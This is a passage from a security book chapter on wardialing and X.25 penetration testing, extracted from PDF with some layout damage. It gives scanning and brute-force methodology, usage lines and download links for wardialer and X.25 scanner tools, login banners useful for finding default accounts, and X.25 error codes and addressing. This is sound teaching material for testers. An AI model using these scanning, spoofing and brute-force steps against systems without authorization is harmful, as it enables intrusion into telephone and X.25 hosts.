• OCC • DER • NA • DTE X.25 spoofing may be applicable for DTE problems. • RPE 3. If you get a CLEAR DTE answer message when calling the X.25 target(s), you can scan the X.25 address by adding a one- or two-digit subaddress to the target NUA. 4. If you get a CLEAR RPE answer message when calling the X.25 target(s), you can scan the X.25 address using a brute-force attack for alphanumeric extensions with a three-character base. 5. When you find a live system, verify that vendor-default, easily guessable, or insecure accounts do not exist; brute-force the target in the case of critical systems (see Chapter 5). 6. If you find a vulnerable bridge system, exploit the weakness and map the networks used and the system links. 7. If you find a direct X.25 access available from hosts that have an X.25 trace capability (Sun Solaris, Linux, VMS, OpenVMS, Motorola Codex PAD, etc.), execute at least three different X.25 sniffing actions on various X.25 active calls to determine the data’s privacy level and the presence of encryption technologies. 8. If you find a direct X.25 access available from the OS that allows checking network logs (Sun Solaris, Linux, VMS, OpenVMS, Motorola Codex PAD, etc.), find the X.25 logs to verify the calling and called addresses.
TOOLS TO USE Please remember that these tools are designed for experienced penetration testers and for lawful purposes only. Remember as well that these tools may considerably damage remote PBXs, modems, and/or the OS and data resident on the remote machines you are testing, especially when performing automatic and mass brute-force attacks. Also, remember that in order to perform wardialing operations you should have a written request, order, and/or permission/authorization from the telephone lines’ owners; otherwise, you could face criminal charges for computer crimes actions, such as trespassing, eavesdropping, sabotage, DoS, and similar. Make sure the customer’s referent has all the telephone and email contacts for the penetration tester executing the test, so that he or she can contact the tester in case something goes wrong.
Chapter 6:
Unconventional Data Attack Vectors
PAW and PAWS PAW and PAWS, written by Volker Tanger ([email protected]), are wardialing software written in Python. PAW or Plain Analog Wardialer is for PSTN wardialing, whereas PAWS or Python Advanced Wardialing System is designed for ISDN scanning. PAW scans for “modern” analog modems running at 9.6 kbit/s or higher, and you can use it—as well as PAWS on the ISDN side—to find unauthorized modems that can then be disabled or configured in a different way (for example, to perform a callback to the original caller), obtaining, as a result, a much harder access to the internal network. PAW and PAWS require the Python module pySerial, which is downloadable from sourceforge.
Requirements To properly work, PAW/PAWS requires • Python 2.3 (or newer) • pySerial module (1.8 or newer) • PAW: UNIX (Linux, *BSD, ...) and analog modem • PAWS: Linux kernel 2.4.x with both a /dev/ttyI ISDN device and analog modem You can download it from http://www.wyae.de/software/paw/.
Intelligent Wardialer Intelligent Wardialer or iWar is wardialing software written completely in C by Da Beave ([email protected]), an old-school hacker well-known in the underground since he used to run (and still does!) a very nice “good old times” BBS on an OpenVMS VAX and AXP cluster and connected to the Internet (http://deathrow.vistech.net/). iWar supports many features, including MySQL support (very professional!) and IAX2 for VoIP support (see Chapter 7 for more information about VoIP attacks and countermeasures). At this time and as far as we know, iWar is the first wardialing tool supporting VoIP in this fancy way! iWar may also be used in order to perform voice mailbox (VMB) attacks. Here is a description of iWar’s features: • Full and normal logging Full logging records all possible events during dialing (busy signals, no answers, carriers, etc). By default, it only records things that you might find interesting (carriers and possible telco equipment). • ASCII flat file and MySQL logging You can log to a traditional ASCII flat file and record information in a MySQL database. • Random or sequential dialing • Remote system identification When finding and connecting to a remote modem, iWar will remain connected and attempt to identify the remote system type.
143
144
Hacking Exposed Linux: Linux Security Secrets & Solutions
• Keystroke marking When actively “listening” to iWar work, if you hear something interesting, you can manually “mark” it by pressing a key. You can also add a note about something you find interesting. • Multiple modem support Well, hey—this is UNIX. iWar will support as many modems as you can hook up to it. • Nice “curses”-based display This means if you’re using iWar from a Linux console or a VT100-based terminal, it should work fine. This is not an escape sequence kludge, but true “curses.” • Full modem control Unlike other kludges, iWar doesn’t just open the modem as a typical “file.” It controls the baud rate, parity, CTS/RTS (hardware flow control), and DTR (data terminal ready). This is important for controlling the modem and making it perform the way you want it to during scanning, for example, DTR hang-ups. • Blacklisted phone number support For numbers the system should never dial. • Save state If, within the middle of a wardialing session, you want to quit, you can save the current state to a file. This allows you to come back later and restart iWar where you left off (via the ' option). • Load pregenerated numbers You can load a file (via the -L option) of numbers that you want to dial. This is useful for loading numbers generated by another routine (Perl or shell script, etc.). • Tone location If your modem supports it, iWar uses two different methods: traditional ATDT5551212w (Toneloc-like) and silence detection. • System banners review. • Attacks
Records remote system banners on connection for later
iWar can be used to attack PBXs and voicemail systems.
• Terminal window Allows you to watch modem interactions and carrier results in real time. • Support for the Intra-Asterisk eXchange (IAX2) VoIP protocol you to scan without needing additional hardware.
This allows
• Full-blown VoIP client In IAX2mode, key 0–9, * and # play their DTMF equivalents. In this mode, you can also talk directly to the remote target (using a microphone) if so desired. • Caller ID number In IAX2 mode, if your VoIP provider supports it, you can “set” your caller ID number for caller ID spoofing. • Source code Comes with complete source code and is released under the GNU General Public License at http://www.gnu.org/copyleft/gpl.html. Since iWar is so well written and full of functionalities, it is worth listing its usage and parameters (see Figures 6-1 and 6-2).
Prints this screen Speed/Baud rate [Serial default: 1200] [IAX2 mode disabled] Parity (None/Even/Odd) [Serial default 'N'one] [IAX2 mode disabled] Data bits [Serial default: 8] [IAX2 mode disabled] TTY to use (modem)[Serial default /dev/ttyS0] [IAX2 mode disabled] Use software handshaking (XON/XOFF)[Serial default is hardware flow control] [IAX2 disabled] Output log file [Default: iwar.log] Pre-dial string/NPA to scan [Optional] Post-dial string [Optional] Tone Location (Toneloc W; method) [Serial default: disabled] [IAX2 mode disabled] Range to scan (ie - 5551212-5551313) Sequential dialing [Default: Random]
145
146
-F -b -o -L -l
Hacking Exposed Linux: Linux Security Secrets & Solutions
: : : : :
Full logging (BUSY, NO CARRIER, Timeouts, Skipped, etc) Disable banners check [Serial Default: enabled] [IAX2 mode disabled] Disable recording banner data[Serial default: enabled] [IAX2 mode disabled] Load numbers to dial from file Load 'saved state' file (previously dialed numbers)
Requirements Nothing special is required: All you need is a Linux box and a modem. Depending on the features you want to use, you may need ad hoc software/hardware. You can download it from http://freshmeat.net/projects/iwar/.
Shokdial Shokdial, written by the well-known w00w00 guys, is a pretty old wardialing tool (Shok at [email protected]). Given its age, it should run on all *NIX flavors, from the oldest to the latest ones.
Figure 6-2 iWar in action
Chapter 6:
Unconventional Data Attack Vectors
Shokdial supports random and sequential scanning. You can force a range as well, but that is done under sequential scanning. For random scanning, use shokdial -r; otherwise, it will, by default, use sequential scanning. If no config file is specified, the output is written to wardailer.log, but you can specify a log file with -L or change it in the configuration file (see the help files). Also, if the -d (daemon mode) option is given, the program will run in the background, so you could do other things. It will still log to the screen with -d; however, it is just writing to /dev/tty. The -c (config file) option causes Shokdial to read from a configuration file. This can have any format and will not be checked so you can use multiple formats and various strings such as 5551234,,,,1,# for pagers.
Requirements All you need is a modem and a telephone line. You can download it from http://www.w00w00.org/files/misc/shokdial/.
ward ward is a very nice, light, and fast wardialer written in C for UNIX systems, with the peculiarity of working over PSTN, ISDN, and GSM networks. Written by Marco “Raptor” Ivaldi ([email protected]), an actual OSSTMM contributor who is well known in the international underground scene, ward is a “classic” wardialer tool: It scans a list of phone numbers, hunting for modems answering on the other end, thus providing a nicely formatted output of the scan results. ward can generate a list of phone numbers from a user-supplied mask, in both incremental or random order (which can be extremely useful in some cases!). ward is one of the fastest PBX scanners you will ever find, and it has been tested on Linux, OpenBSD, FreeBSD, NetBSD, Mac OS X, and Windows/cygwin. Do the tuning for your system and compile with: gcc ward.c -o ward -lm. Since ward is so well written and light, we’ll list its usage and its few, but useful, parameters here. You can see ward at work in Figure 6-3. Usage: ./ward [ [-g file] [-n nummask] ] [-r] (generation mode) ./ward [-s file] [-t timeout] [-d dev] (scanning mode)
Parameters in generation mode: -g : generate numbers list and save it to file -n : number mask to be used in generation mode -r : toggle random mode ON
147
148
Hacking Exposed Linux: Linux Security Secrets & Solutions
Figure 6-3 ward
Parameters in scanning mode: -s : scan a list of phone numbers from file -t : set the modem timeout (default=60secs) -d : use this device (default=/dev/modem)
General parameters: : -h
print help
Requirements All you need is a *NIX box, a modem, and a telephone line. Also, have fun with it using your GSM phone (Nokia is the most-suggested brand and old models like Nokia5110 do a great job!) when scanning for toll-free numbers. You can download it from http://www.0xdeadbeef.info/code/ward.c.
Chapter 6:
Unconventional Data Attack Vectors
THCscan Next Generation THCscan Next Generation (NG), written by the folks at The Hacker’s Choice and van Hauser ([email protected]), is a total evolution from the world-famous, evergreen THC Scan written by van Hauser years ago. At the time of writing this chapter, THCscan NG is still mostly a “beta release,” and little information is available. Nevertheless, its most amazing feature is that it can perform parallel scans with a client-server architecture (master/zombie), resulting in distributed mass-wardialings. In fact, as the authors state in the readme file, all current open-source wardialers are used to dial one modem, where, most effectively, a human being listens to the sounds that come out of the modem speaker and operates the wardialer interface. A very few open-source wardialers—and all commercial wardialers—are also able to operate more than one modem, usually 4 to 16 modems, which are all connected to the scanning PC. In this era of the Internet and networks, THCscan NG is trying to make this unnecessary. Although THCscan NG is a plain-text-mode wardialer without a GUI, it has the ability to scan as many modems as you want. The only limits are determined by your bandwidth, RAM, and CPU power (and maximum open file descriptors). So in theory, up to 65,000 modems can be used in parallel to scan a huge range of numbers. The modems can be located all over the world, as long as you have network connectivity to the systems the modems are connected to. THCscan NG consists of three parts: • The ZOMBIE This piece of software operates one modem. It receives a controlling connection from a master that then remotely commands the ZOMBIE to dial numbers. • The MASTER This is the core of THCscan NG. It controls all modems (in THCscan NG speak, all ZOMBIES) and distributes the work among them. It also keeps the logs and records the scans. Control is via TCP connections. • The CLIENT This is the interactive user, who connects to the MASTER server, tells the server which number ranges to scan, logs off, reconnects later, and downloads the results. Since THCscan NG allows a huge set of parameters and configurations refer to the official README file.
Requirements The requirements depend on your fantasy, creativity, and budget! You can download it from http://freeworld.thc.org/thc-tsng/tsng-1.1.tar.gz.
149
150
Hacking Exposed Linux: Linux Security Secrets & Solutions
PSDN TESTING TOOLS This section details a few open-source tools that we have been able to identify for your personal and professional use when performing PSDN penetration tests. The scanning approach in the X.25 world is really different from the PSTN and ISDN worlds: X.25 addresses are not public and should not be disclosed. Also, the attacker on X.25 networks is generally highly skilled due to the fact that X.25 customers are mainly financial, government, military institutions, and corporate and multinational companies. Because of this only two developers have decided so far to release in the wild their X.25 scanners. Years ago, I wrote the first-ever VAX/VMS X.25 scanner, and other friends have since written similar software for *NIX and Linux platforms. This section also describes a few other X.25 scanners for *NIX. Hopefully, your underground contacts are good enough to be able to get them.
admx25 Admx25 is one of the most popular X.25 scanners in the underground, but it’s not available to the public. If you happen to know antilove or some of the ADM folks, ask them for a copy of this powerful tool.
Sun Solaris Multithread and Multichannel X.25 Scanner by Anonymous This tool is so private that it doesn’t even have an official name. We personally know the guys who coded it and can assure you that it works as no other scanner. It can use as many X.25 logic lines as your Solaris box has, resulting in incredibly fast, huge massscannings: This tool can scan a whole X.25 network (let’s say a country) in a matter of hours. Even though it runs on Solaris only, we decided to mention this tool because it is really the best available worldwide.
vudu vudu is a simple X.25 NUA scanner for Unix systems, written by Marco “Raptor” Ivaldi. His main goal is portability so he wrote it in bourne shell scripting language without any fancy stuff. This tool has been extensively tested on Sun Solaris. Remember to change the vars to suit your operating system’s needs. Needless to say, the Linux or *NIX box that you use to execute the script must be equipped with a properly configured X.25 card and an active X.25 link, with one or more logical channels over the existing physical channel. Usage: ./vudu 0208057040 535 542 [who can forget QSD? :)]
You can download it at http://www.0xdeadbeef.info/code/vudu.
Chapter 6:
Unconventional Data Attack Vectors
TScan TScan is an X.25 scanner, specifically intended for scanning SprintNet (formerly, GTE TeleNet) X.25 networks via an X.28 dialup. You can easily adapt it for your favorite X.25 network, even if, due to SprintNet’s peculiarities, it relies on allowing you to launch reverse-charge scans. Not many other networks allow this facility, consequently you should test TScan’s portability on other X.25 networks carefully. In order to use TScan, find a local dialup to a PAD. When you dial in, you will also need to set your favorite terminal software (minicom, seyon, telix, etc.) settings to 7 data bits, 1 stop bit, and even parity (the scanner defaults to this setting). When connecting to your local dialup/PAD at rates less then 1200 baud, you’ll need to send several “returns.” When connecting at high rates (9600+), send an @ followed by a return. TScan has been tested on FreeBSD and OpenBSD on Intel platforms. It also seems to compile fine (and probably work) on the Sun Sparc OpenBSD installation. TScan was written by [email protected]. You can download it from http://www. vistech.net/users/beave/tscan-0.2.tar.gz or ftp://ftp.vistech.net/pub/tscan (which is down from time to time).
COMMON BANNERS What follows next is a selection of the most common banners and their OS. Using these you may find still available default accounts. In any case, remember to identify the type of connection you are dealing with, meaning that a RAS would not only be a RAS, but also a RAS for the IT management, an alarm dialup, or any other kind of dialup among the ones mentioned earlier in the chapter. Cisco Router Cisco routers are often used as PSTN, ISDN, or X.25 access servers when dealing with networks belonging to SME and corporate companies. It will introduce itself in the following way (the banner may exist or not): *********************************************************************** * Access to this computer system is limited to authorised users only. * * Unauthorised users may be subject to prosecution under the Crimes * * Act or State legislation * * * * Please note, ALL CUSTOMER DETAILS are confidential and must * * not be disclosed. * *********************************************************************** User Access Verification Password: Password: Password: % Bad passwords
151
152
Hacking Exposed Linux: Linux Security Secrets & Solutions
It’s also possible to get a different output where, in place of the password-only request, you may find: #### [Company Name] [Country] [Node #] ##### ####### [Network and/or Service Name] ####### ################ In case of problems, ################ ################ contact Mr. Joe Doe ################ ################ at extension n. 2222 ################ ############################################### User Access Verification Username:
Shiva LAN Router Shiva LAN routers are often used as PSTN or X.25 access servers when dealing with networks belonging to SME and ISP companies. More information regarding this OS may be found on http://www.shiva.com. Issue #7 of the following old hacking magazine details a very interesting article on hacking and securing Shiva routers, written by Hybrid: http://www.b4b0.org. A Shiva router will introduce itself in the following way (banner may or may not exist): *********************************************************** XYZ Internet Service Provider – IT Department Access *********************************************************** @ Userid: Password? Login incorrect
Gandalf XMUX Gandalf XMUXs are produced by Gandalf Technologies Inc. (Gandalf of Canada, Ltd., in Canada). The Password> request appears only if the XMUX console is password-protected; otherwise, you’ll find yourself directly at the XMUX console (the Primary Console Menu). You can find XMUX on both PSTN and X.25 networks. Password > Gandalf Rev A1
[System Name] Primary Console Menu Node: [nodename]
[date] [time]
Primary Menu ...
Motorola Codex 6505 Motorola Codex 6505 is a multiplexer, typically connected to PSTN, ISDN, and X.25 networks. It may act like an “ancient” VoIP PBX, connecting different office branches via X.25 networks, allowing the execution of both voice and data links, as well as a PAD functionality (refer to “How X.25 Networks Work,” later in this chapter, for further information regarding PADs).
Chapter 6:
Unconventional Data Attack Vectors
Connected to the Control Port on Node "XXX", at 10-OCT-2002 10:33:20 Codex 6505 PAD, Version V2.13 Copyright (C) 1989-1992 by Motorola Information Systems Enter Password: Node: XXX Address: 311021200000 Date: 10-OCT-2002 Time: 10:35:21 Menu: Main Path: (Main) 1. Logout 2. Examine 3. List 4. Monitor 5. Status/statistics 6. Configure 7. Boot 8. Update System Parameters 9. Copy/Insert Record 10. Delete Record 11. Port/Station/Channel Control 12. Diagnostics 13. Default Node 14. Print Configuration 15. Configuration Save/Restore
Digital Equipment Corporation DECserver The DECserver, as the name implies, is a server made by the Digital Equipment Corporation (acquired by Compaq, which was then acquired by HP), the same company that makes the VAX and Alpha machines that we’ll cover later. If the owner of the server put a password on it, enter a # prompt. DECservers are commonly found on PSTN and X.25 networks. When requesting Username, you can enter any value because a check is not performed. # **************************************************************** Welcome to [Company Name] DEC Server 3100 on Node XYZ Username:
VOS by Stratus VOS is an operating system produced by Stratus Inc. It is usually used in nonstop environments for heavy analysis and production jobs, such as credit card management, software development for mainframes, and, generally, banking applications. It can be attacked when performing PSDN scanning on both public and private X.25 networks. System/32, Release 10.4, Module %acme#m1 %bsh01#m1 23:22:47 Login? Password? login: Access denied. Maximum number of access attempts has been exceeded. %bsh01#vt_open_1
153
154
Hacking Exposed Linux: Linux Security Secrets & Solutions
PRIMOS by Prime Inc. Running on the Prime company’s mainframes, the Primos Operating System is in fairly wide use and is commonly found on PSDN worldwide, though mainly used by telcos. PRIMENET 23.3.0 INTENGCOM ER!
HP3000 HP3000 is an older machine from Hewlett Packard, running on MPE/V, iX, X, or XL OS releases. It can be found both on PSTN and X.25 networks and usually does not have a banner. More information can be found at http://docs.hp.com/ and http://en.wikipedia .org/wiki/HP3000. MPE: EXPECTED A :HELLO COMMAND (CIERR 6057) MPE: EXPECTED [SESSION NAME,]USER.ACCT[,GROUP] (CIERR 1424)
or EXPECTED HELLO, :JOB, :DATA, OR (CMD) AS LOGON. (CIERR 1402) MPE: HELLO FIELD.SUPPORT Password =
VCX Pad VCX Pads can be found on X.25 networks all over the world, with a particularly strong presence in Europe, the United States, some African and Asian countries, Australia, and New Zealand. VCX PAD NODE SFERRANET
Otherwise, you may encounter a generic prompt, without the banner request: [company_name] orig:-
Or also: VCX Pad Release 1.3.9.7 Service name?
Chapter 6:
Unconventional Data Attack Vectors
Pick Systems Pick Systems were created by Mr. Dick Pick (no jokes!). These machines were widely distributed from the ’70s until the first half of the ’80s. Pick Systems Inc. is headquartered at Irvine, California, with sales and support offices in the UK, France, South Africa, and Singapore. These are also the countries where you’ll find Pick machines on X.25 networks. You can easily identify a Pick System thanks to its login prompt, which usually contains the hour, the date, and the Logon please request. More information can be found at http://www.picksys.com/index.html and at http:// en.wikipedia.org/wiki/Pick_operating_system. UN 2001 07:05:54 Logon please:
IBM VM/CMS VM/CMS stands for Virtual Machine/CMS, an S/390 mainframe by IBM. VM/CMSs are generally linked to SIM3270, 3278, VTAM, and ISM systems. They are used primarily in educational environments (universities in the U.S.), large companies, and financial environments. .
or .Please Logon:
But also (in its more standard version): VM/ESA ONLINE--XXXX --PRESS BREAK KEY TO BEGIN SESSION._ HCPCFC015E Command not valid before LOGON: ______ Enter one of the following commands: LOGON userid (Example: LOGON VMUSER1) MSG userid message (Example: MSG VMUSER2 GOOD MORNING) LOGOFF
IBM AS/400 IBM AS/400 runs OS/400 as an operating system. You may encounter this OS on both PSTN and PSDN networks. Although on PSTN, you usually won’t encounter a banner but instead a direct identification request: UserID? Password?
155
156
Hacking Exposed Linux: Linux Security Secrets & Solutions
Figure 6-4 AS/400 on xterm
On PSTN/ISDN and PSDN networks and using a terminal emulator program, you may see the screen shown in Figure 6-4. You can find more information at http://www.as400.ibm.com/. DEC VAX/VMS or AXP/OpenVMS VAX/VMS and Alpha/OpenVMS machines were originally produced by DEC, which was acquired years ago by Compaq, which was then acquired by HP. You may find them connected on PSTN and PSDN networks, serving an infinite variety of possible applications and uses. Warning - Unauthorised access prohibited Welcome to node [NODE], a VAX/VMS 5.5-4.
Chapter 6:
Unconventional Data Attack Vectors
This is a ACME INC. Network Node Username: Password: User authorisation failure
Sun Solaris You can find Sun Solaris on X.25 networks. These networks run a special release of Solaris, which includes the Sun Solaris X.25 stack. SunLink X.29 Terminal Service login:
Santa Cruz Operation SCO UNIX SCO Unix machines can be found on both PSTN and X.25 networks, usually in very old environments. Welcome to SCO UNIX System V/386 Release 3.2 X25!login:
IBM AIX
You can recognize X.25 release for the IBM AIX from its login request:
IBM AIX Version 3 for RISC System/6000 X25login:
HOW X.25 NETWORKS WORK X.25 is the oldest packet-switched network and was originally developed for telecommunications providers and banking purposes like automated teller machines (ATM) and credit card authorization. Although it has been replaced more and more by Internet protocols, X.25 is still very much in use, even if often not maintained and sometimes forgotten by the network administration staff. Although it might be good that fewer people can hack over X.25, it’s not good that fewer people can actually secure these networks. For individuals interested in performing penetration testing on X.25 networks, the following details should be useful.
Basic Elements The following elements represent the main scheme approach for worldwide X.25 networks: • Switching Packet Nodes (SPN)
Performs the sole action of data transit
157
158
Hacking Exposed Linux: Linux Security Secrets & Solutions
• Local Packet Switchers (LPS) Performs access functions for DTE X.25 and data-traffic commutation • Packet Concentrators and Adaptors (PCA) X.28 access (PSTN dialup modem call) • Management and Operation Centers (MOC) controls network and single elements
Performs PAD functions and DTE Performs supervisory tasks and
Transmission speeds change depending on the associated element. In fact, among SPNs the average speed is 64 Kbit/s between the LPSs and the linked SPNs, whereas 9600 bit/s is the average dialogue speed between PCAs and LPSs. Figure 6-5 defines a typical X.25 network structure.
Error Codes Table 6-1 and the tables that follow contain detailed lists of useful X.25 error codes. The codes have been organized into two main categories and into specific subcategories.
X.3/X.28 PAD Answer Codes From time to time, X.25 networks can transmit signals • As a reply to a command (X.3 PAD parameters change, reading PAD parameters, etc.) • On their own initiative • As a consequence of an action from the remote DTE Following this logic, you could receive four different types of signal codes (see Table 6-2): • Error signals • Disconnection signals • Reset signals • PAD editing signals (not covered in this section)
159
160
Hacking Exposed Linux: Linux Security Secrets & Solutions
Error Code
Error
Description
COM
Call connected
The X.25 call has been established.
NP
NUA not present
The called X.25 address does not exist.
DER
Out of order
The called remote DTE is out of order.
OCC
Busy
The called remote DTE does not have any available virtual channels (VCs) at the moment.
DTE
Dropped by remote DTE
The called remote DTE canceled your X.25 call. This can mean that the remote DTE requires a subaddress specification (1 to 2 digits, such as: 0–>9 or 00 > 99). ACLs could avoid this to establish a session with the remote DTE. In this case, an X.25 spoofing attack could help a lot.
RPE
Remote procedure error
Called DTE is waiting for additional information (called “optional information”) in the X.25 packet. This information could be represented by subaddresses under a numerical format (generally three digits are required even if the address has only three digits total or alphanumeric characters). In some X.3 PADs, this extension must be preceded by the letter D or P. Using D before the User Field displays the additional information, whereas using P applies for a “no echo” on the X.3 PAD.
RNA
Reverse not allowed
The called remote DTE does not accept reverse charge X.25 calls.
NA
Access barred
The called remote DTE does not accept the X.25 call from the calling DTE. It only accepts X.25 calls from authorized X.25 addresses. This case is very different from the previously mentioned DTE error: The customer is not defining the ACL. In this specific case, X.25 carrier enables this filtering service and authorizes the remote DTEs at a network level.
Table 6-1
Basic Answer and Error Codes
Chapter 6:
Signal Type
Unconventional Data Attack Vectors
Description
Error Signals ERR CAN
The command is correct from a syntax point of view, but it’s not allowed in this state.
ERR ILL
The command is not correct from the syntax point of view and is not recognized.
ERR EXP
A timeout has been reached and the command hasn’t been completed.
ERR PNA
X.3 PAD profile has not been assigned.
Disconnection Signals CLR OCC
The called remote DTE does not have any VCs available at the moment.
CLR NC
Network congestion conditions or a temporary fault in the network itself does not allow new virtual calls to be established.
CLR INV
The request is not valid.
CLR NA
The called remote DTE does not accept X.25 calls from the calling DTE. It only accepts X.25 calls from authorized X.25 addresses. This also means that the Closed User Group (CUG) is not compatible.
CLR ERR
The requested call is canceled due to a local procedure error.
CLR RPE
The requested call is canceled due to a remote DTE procedure error.
CLR NP
The called NUA is not assigned.
CLR DER
The called DTE is out of order.
CLR PAD
PAD canceled the X.25 call, following a “clear call” invitation from the remote DTE.
CLR DTE
Remote DTE canceled the X.25 call.
CLR RNA
Remote DTE does not accept reverse charge X.25/X.28 calls.
CLR ID
The requested X.29 protocol application modalities between the X.25 network PAD and the remote X.25 DTE are not correct.
Table 6-2
X.25 Signal Codes
161
162
Hacking Exposed Linux: Linux Security Secrets & Solutions
Signal Type
Description
Reset Signals RESET DTE
Remote DTE put the Virtual Call in reset mode.
RESET RPE
The call has been put in reset mode due to a remote DTE procedure error.
RESET ERR
The call has been put in reset mode due to a local procedure error.
RESET NC
The call has been put in reset mode due to a remote DTE network congestion state.
RESET DER
The call has been put in reset mode due to a remote DTE out-ofservice state.
RESET NOP
The call has been put in reset mode because the network is restarting its service.
RESET DOP
The call has been put in reset mode because remote DTE is restarting the service.
Table 6-2
X.25 Signal Codes (continued)
X.25 Addressing Format The X.25 addressing format is very similar to PSTN. Whenever we talk about the Network User Address (NUA), we mean its internationally standard format (X.121 address). An NUA is composed of • DNIC • NUA The DNIC is creating with the DCC plus the network code of the X.25 network itself in a specific country, resulting is a four-digit international code. • DCC 3 digits • NCC 1 digit For example, the DNIC for Italy, ITAPAC X.25 network is 2222: 222 DCC for Italy + 2, which is the network country code for ITAPAC
The (local) NUA begins with the NCC and is then composed of the so-called area code and the network port address (NPA). The NUA standard is 12 digits maximum, even if the average is from 6 to 10 digits, depending on the country and X.25 network
Chapter 6:
Unconventional Data Attack Vectors
size. For example, an NUA might be 21122878 (an old X.25 address from the Politechnic of Turin, Italy) where: • 2 is for ITAPAC. • 11 is for the (PSTN) area code for the town of Turin. • 22 878 is for the NPA. The full X.121 address for this host would then be 222 2 11 22 878 By dissecting it, you obtain the following logic: 022221122878 |\ /|\_ _/| | | | | | |____ 22878: Network Port Address (NPA) | | | |_|_____ 11: Area Code for Torino | | |__________ 2: ITAPAC Network (since more networks exist) | |____________ 222: DCC assigned to Italy by ITU | Reading it both externally and locally: 0 222 2 11 22 878 from other networks; 21122878 from Italy/ITAPAC.
This means that if a customer asks you to perform a penetration test on an X.25 address, the first thing to apply is the X.121 address analysis to determine: • Country where host is located • If the address is correct for legal authorization • If the address is working • The average cost for the X.25 calls needed by the X.25 security testing service you are going to supply For example, if a customer supplies these NUAs for testing: • 0311021210126 • 0280221229 • 02624301119090 your analysis should match the following: DNIC (4)
AC(3)
NPA(5)
3110
212
10126
(USA, SprintNet, NYC)
2802
21
229
(Cyprus, CytaPac, Limassol)
2624
30
111-9090
(Germany, DATEX-P, Berlin)
163
164
Hacking Exposed Linux: Linux Security Secrets & Solutions
More detailed information on X.25 addressing, X.25 hacking and defense techniques, and general tips related to the X.25 world may be found in the following presentations that you can find online: • Hack in the Box 2005, Kuala Lumpur: X.25 (in)security at http://www .packetstormsecurity.org/hitb05/BT-Raoul-Chiesa-X25-Security.pdf • Hack in the Box 2007, Dubai: X.25 in the Arab World at http://conference.hitb.org/ hitbsecconf2007dubai/materials/D2%20-%20Raoul%20Chiesa%20-%20X25%20netw orks%20in%20the%20Arab%20World.pdf
DCC Annex List This section contains the official ITU worldwide DNIC list, which is very useful for penetration testers when • Defining legal authorizations in order to execute an X.25 penetration test • Planning X.25 attacks • Analyzing X.25 logs Before referring to the official ITU worldwide DCC list, readers should at least learn the main organizational logic of X.25 addressing. Figure 6-6 will help with this.
Figure 6-6 Main worldwide X.25 zones
Chapter 6:
Unconventional Data Attack Vectors
The following table builds on the graphic shown in Figure 6-6, thus adding the Inmarsat area (1). Zone
Continent/Area
1
Inmarsat Satellite Voice/Data communication (Atlantic Ocean, Pacific Ocean, Indian Ocean)
2
Europe, Ex USSR
3
North America, Central America, some Caribbean areas
4
Asia
5
Oceania
6
Africa
7
Part of Central America, Caribbean, and South America
Refer to the ITU’s official full DNIC listing where the X.25 networks inside each country are also highly detailed (“Annex to ITU Operation Bulleting – No. 818 – 15.VIII-2004”). Zone
Country/Region
ZONE 1 111
Ocean Areas (Inmarsat)
ZONE 2 202
Greece
204
Netherlands (Kingdom of the)
205
Netherlands (Kingdom of the)
206
Belgium
208
France
209
France
210
France
211
France
212
Monaco (Principality of)
213
Andorra (Principality of)
214
Spain
215
Spain
216
Hungary (Republic of)
218
Bosnia and Herzegovina (Republic of)
219
Croatia (Republic of)
220
Yugoslavia (Federal Republic of)
165
166
Hacking Exposed Linux: Linux Security Secrets & Solutions
Zone
Country/Region
222
Italy
223
Italy
224
Italy
225
Vatican City State
226
Romania
228
Switzerland (Confederation of)
229
Switzerland (Confederation of)
230
Czech Republic
231
Slovak Republic
232
Austria
234
United Kingdom of Great Britain and Northern Ireland
235
United Kingdom of Great Britain and Northern Ireland
236
United Kingdom of Great Britain and Northern Ireland
237
United Kingdom of Great Britain and Northern Ireland
238
Denmark
239
Denmark
240
Sweden
242
Norway
243
Norway
244
Finland
246
Lithuania (Republic of)
247
Latvia (Republic of)
248
Estonia (Republic of)
250
Russian Federation
251
Russian Federation
255
Ukraine
257
Belarus (Republic of)
259
Moldova (Republic of)
260
Poland (Republic of)
262
Germany (Federal Republic of)
263
Germany (Federal Republic of)
264
Germany (Federal Republic of)
265
Germany (Federal Republic of)
Chapter 6:
Unconventional Data Attack Vectors
Zone
Country/Region
266
Gibraltar
268
Portugal
269
Portugal
270
Luxembourg
272
Ireland
274
Iceland
276
Albania (Republic of)
278
Malta
280
Cyprus (Republic of)
282
Georgia (Republic of)
283
Armenia (Republic of)
284
Bulgaria (Republic of)
286
Turkey
288
Faroe Islands
290
Greenland
292
San Marino (Republic of)
293
Slovenia (Republic of)
294
The Former Yugoslav Republic of Macedonia
295
Liechtenstein (Principality of)
ZONE 3 302
Canada
303
Canada
308
Saint Pierre and Miquelon (Collectivité territoriale de la République française)
310
United States of America
311
United States of America
312
United States of America
313
United States of America
314
United States of America
315
United States of America
316
United States of America
330
Puerto Rico
332
United States Virgin Islands
167
168
Hacking Exposed Linux: Linux Security Secrets & Solutions
Zone
Country/Region
334
Mexico
335
Mexico
338
Jamaica
340
Guadeloupe (French Department of) and Martinique (French Department of)
342
Barbados
344
Antigua and Barbuda
346
Cayman Islands
348
British Virgin Islands
350
Bermuda
352
Grenada
354
Montserrat
356
Saint Kitts and Nevis
358
Saint Lucia
360
Saint Vincent and the Grenadines
362
Netherlands Antilles
363
Aruba
364
Bahamas (Commonwealth of the)
365
Anguilla
366
Dominica (Commonwealth of)
368
Cuba
370
Dominican Republic
372
Haiti (Republic of)
374
Trinidad and Tobago
376
Turks and Caicos Islands
ZONE 4 400
Azerbaijani Republic
401
Kazakhstan (Republic of)
404
India (Republic of)
410
Pakistan (Islamic Republic of)
411
Pakistan (Islamic Republic of)
412
Afghanistan (Islamic State of)
413
Sri Lanka (Democratic Socialist Republic of)
Chapter 6:
Zone
Country/Region
414
Myanmar (Union of)
415
Lebanon
416
Jordan (Hashemite Kingdom of)
417
Syrian Arab Republic
418
Iraq (Republic of)
419
Kuwait (State of)
420
Saudi Arabia (Kingdom of)
421
Yemen (Republic of)
422
Oman (Sultanate of)
423
Yemen (Republic of)
424
United Arab Emirates
425
Israel (State of)
426
Bahrain (State of)
427
Qatar (State of)
428
Mongolia
429
Nepal
430
United Arab Emirates (Abu Dhabi)
431
United Arab Emirates (Dubai)
432
Iran (Islamic Republic of)
434
Uzbekistan (Republic of)
436
Tajikistan (Republic of)
437
Kyrgyz Republic
438
Turkmenistan
440
Japan
441
Japan
442
Japan
443
Japan
450
Korea (Republic of)
452
Viet Nam (Socialist Republic of)
453
Hong Kong
454
Hong Kong
455
Macau
456
Cambodia (Kingdom of)
Unconventional Data Attack Vectors
169
170
